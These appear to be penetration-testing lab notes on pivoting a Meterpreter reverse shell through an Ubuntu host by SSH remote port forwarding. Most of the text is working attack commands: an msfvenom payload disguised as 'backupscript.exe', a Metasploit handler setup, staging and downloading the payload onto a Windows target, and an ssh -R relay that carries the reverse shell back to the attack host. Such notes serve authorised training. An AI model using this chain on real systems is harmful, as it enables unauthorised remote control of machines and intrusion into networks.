Sometimes, we might want to forward a local service to the remote port as well. 
The outgoing connection for the Windows host is only limited to the 172.16.5.0/23 network.

Windows msfvenom payload for reverse port forwarding
We will use the port 8080 on the Ubuntu server to forward all of our reverse packets to our attack hosts' 8000 port, where our Metasploit listener is running.
msfvenom -p windows/x64/meterpreter/reverse_https lhost= <InternalIPofPivotHost> -f exe -o backupscript.exe LPORT=8080
lhost in this scenario (pic above) is 172.16.5.129
Can use metasploit to start a listener.
msf6 > use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_https
set lhost 0.0.0.0
set lport 8000
run
Transfer payload to ubuntu host:
scp backupscript.exe ubuntu@<ipAddressofTarget>:~/
Start HTTP server on ubuntu server in same directory as payload:
python3 -m http.server 8123
Download payload on windows machine:
Invoke-WebRequest -Uri "http://172.16.5.129:8123/backupscript.exe" -OutFile "C:\backupscript.exe"
Once payload is on windows host:
- Use SSH remote port forwarding to forward connections from UBUNTU PORT 8080 -> MSFCONSOLE LISTENER PORT 8000
-vNargument used in ssh command to make it verbose and ask it not to prompt login shell.-Rasks Ubuntu to listen on<targetIP>:8080and forward all incoming connections on port8080to our listener on0.0.0.0:8000of the attack host
(RUN FROM ATTACKING HOST)
ssh -R <InternalIPofPivotHost>:8080:0.0.0.0:8000 ubuntu@<ipAddressofTarget> -vN
With this setup, we run payload from Windows target. If payload is executed as intended we can see logs from pivot on pivot host.